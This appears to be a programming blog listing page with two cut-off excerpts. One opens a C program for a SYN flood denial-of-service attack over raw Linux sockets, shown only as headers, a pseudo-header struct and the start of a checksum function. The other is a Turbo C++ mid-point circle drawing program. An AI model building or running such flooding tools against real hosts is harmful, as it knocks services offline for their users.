Denial of Service (DoS) attack (C)

/* Syn Flood DOS with LINUX sockets */ #include<stdio.h> #include<string.h> //memset #include<sys/socket.h> #include<stdlib.h> //for exit(0); #include<errno.h> //For errno – the error number #include<netinet/tcp.h> //Provides declarations for tcp header #include<netinet/ip.h> //Provides declarations for ip header struct pseudo_header //needed for checksum calculation { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }; unsigned short csum(unsigned short *ptr,int … Continue reading Denial of Service (DoS) attack (C)

Mid-Point Circle Generation Algorithm (C++)

Problem Definition: Write a program to implement Mid-Point Circle Generation Algorithm. #include <graphics.h> #include <iostream.h> #include <conio.h> void main(){ int xc,yc,x,y,p,r; int gdriver = DETECT, gmode; initgraph(&gdriver,&gmode,”C:\TC\BGI”); cout<<“Enter co-ordinates of centre: “; cin>>xc>>yc; cout<<“Enter radius of circle: “; cin>>r; x = 0; y = r; p = 1-r; do{ if(p<0){ x++; p += 2*x +1; } else{ x++; y–; p += 2*x – 2*y +1; } putpixel(xc+x,yc+y,WHITE); putpixel(xc+y,yc+x,WHITE); … Continue reading Mid-Point Circle Generation Algorithm (C++)